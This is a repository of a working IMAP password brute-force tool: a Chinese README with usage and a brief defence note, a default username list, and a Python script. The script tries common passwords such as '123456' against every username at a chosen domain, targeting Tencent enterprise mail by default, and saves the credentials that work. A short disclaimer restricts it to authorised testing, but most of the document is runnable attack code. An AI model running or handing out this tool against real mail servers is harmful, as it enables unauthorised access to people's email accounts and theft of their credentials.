├── README.md ├── email.txt └── imap-bruteforce.py /README.md: -------------------------------------------------------------------------------- 1 | # IMAP_Bruteforce 2 | 3 | IMAP(Internet Mail Access Protocol)以前称作交互邮件访问协议(Interactive Mail Access Protocol),是一个应用层协议。IMAP是斯坦福大学在1986年开发的一种邮件获取协议。它的主要作用是邮件客户端可以通过这种协议从邮件服务器上获取邮件的信息,下载邮件等。当前的权威定义是RFC3501。IMAP协议运行在TCP/IP协议之上,使用的端口是143。它与POP3协议的主要区别是用户可以不用把所有的邮件全部下载,可以通过客户端直接对服务器上的邮件进行操作。----来源于百度百科 4 | 5 | 目前的知名企业邮箱(如腾讯企业邮箱)均支持该协议,许多人喜欢用邮件客户端或者手机收发邮件,则大多数会选择开启该服务。在大多数情况下适用。(文末有脚本下载地址)。 6 | 7 | 该脚本使用Python开发,2和3版本均可运行。 8 | 9 | ``` 10 | usage: imap-bruteforce.py [-h] [-s SERVER] [-p PORT] -d DOMAIN [-u USER] 11 | [-o [OUTPUT]] 12 | 13 | OPTIONS: 14 | -h, --help show this help message and exit 15 | -s SERVER, --server SERVER 16 | imap host 17 | -p PORT, --port PORT port 18 | -d DOMAIN, --domain DOMAIN 19 | domain 20 | -u USER, --user USER user 21 | -o [OUTPUT], --output [OUTPUT] 22 | save the result to text file 23 | ``` 24 | 25 | -s SERVER 26 | 27 | imap 服务器地址,默认是imap.exmail.qq.com 28 | 29 | -p PORT 30 | 31 | imap 服务器端口,默认是imaps的993端口 32 | 33 | -d DOMAIN 34 | 35 | 要爆破的企业域名,该项为必须 36 | 37 | -u USER 38 | 39 | 要爆破的用户名,或者存有用户名的文件列表(一行一个),默认读取当前目录下的email.txt 40 | 41 | -o [OUTPUT] 42 | 43 | 输出的结果文件,默认保存在result.txt 44 | 45 | 46 | 除此之外,在当前目录下生成logs.txt文件,保存错误以及验证失败的日志信息。方便分析情况。如有问题,欢迎反馈~ 47 | 48 | **防护** 49 | 50 | 作为企业来说,无比要求员工修改默认密码,不要使用若密码,有规律的密码,如键盘密码。以此来降低风险,企业也应定期检查企业内部员工邮箱情况,降低风险,提高企业安全性。 51 | 52 | **注:请不要将该脚本用于非法用途,仅用于合法的,经过授权的渗透测试,公司内部安全检查与研究使用。由于使用工具带来的不良后果与本人无关。** 53 | -------------------------------------------------------------------------------- /email.txt: -------------------------------------------------------------------------------- 1 | test 2 | guest 3 | admin -------------------------------------------------------------------------------- /imap-bruteforce.py: -------------------------------------------------------------------------------- 1 | import imaplib 2 | import time 3 | import logging 4 | import argparse 5 | import os,sys 6 | if sys.version[0] < '3': 7 | reload(sys) 8 | sys.setdefaultencoding('utf8') 9 | 10 | logger = logging.getLogger(__name__) 11 | logger.setLevel(level = logging.INFO) 12 | handler = logging.FileHandler("logs.txt") 13 | handler.setLevel(logging.INFO) 14 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') 15 | handler.setFormatter(formatter) 16 | logger.addHandler(handler) 17 | 18 | target_pass = ["123456","password"] 19 | 20 | def read_file_lines(file_path): 21 | with open(file_path) as fp: 22 | return fp.readlines() 23 | 24 | def imap_auth(username, password): 25 | global host,port 26 | try: 27 | server = imaplib.IMAP4_SSL(host, port) 28 | except Exception as e: 29 | server = imaplib.IMAP4(host, port) 30 | try: 31 | ret = server.login(username, password) 32 | except Exception as e: 33 | ret = ["ERROR",str(e)] 34 | return ret 35 | 36 | def parser_error(errmsg): 37 | print("Usage: python " + sys.argv[0] + " [Options] use -h for help") 38 | sys.exit() 39 | 40 | def parse_args(): 41 | parser = argparse.ArgumentParser(epilog="") 42 | parser.error = parser_error 43 | parser._optionals.title = "OPTIONS" 44 | parser.add_argument('-s', '--server', help="imap host", default="imap.exmail.qq.com",required=False) 45 | parser.add_argument('-p', '--port', help="port", default=993,required=False) 46 | parser.add_argument('-d', '--domain', help="domain", default="",required=True) 47 | parser.add_argument('-u', '--user', help="user", default="email.txt",required=False) 48 | parser.add_argument('-o', '--output', help='save the result to text file', nargs='?', default="result.txt",required=False) 49 | return parser.parse_args() 50 | 51 | args = parse_args() 52 | host = args.server 53 | port = int(args.port) 54 | domain = args.domain 55 | user = args.user 56 | output = args.output 57 | 58 | user_list = [] 59 | if os.path.exists(user): 60 | user_list = read_file_lines(user) 61 | else: 62 | user_list.append(user) 63 | 64 | f = open(output,"a") 65 | 66 | for password in target_pass: 67 | for username in user_list: 68 | time.sleep(1) 69 | username = username.strip('\n') 70 | email = "%s@%s" % (username,domain) 71 | try: 72 | print("Testing: %s@%s:%s" %(username,domain,password)) 73 | recv = imap_auth(email, password) 74 | if recv[0] == 'OK': 75 | print('Success:%s:%s' % (email, password)) 76 | f.write("%s:%s\n" % (email,password)) 77 | f.flush() 78 | else: 79 | logger.info('Error: %s. %s:%s' % (recv[1], email, password)) 80 | except Exception as e: 81 | logger.info(e) 82 | f.close() --------------------------------------------------------------------------------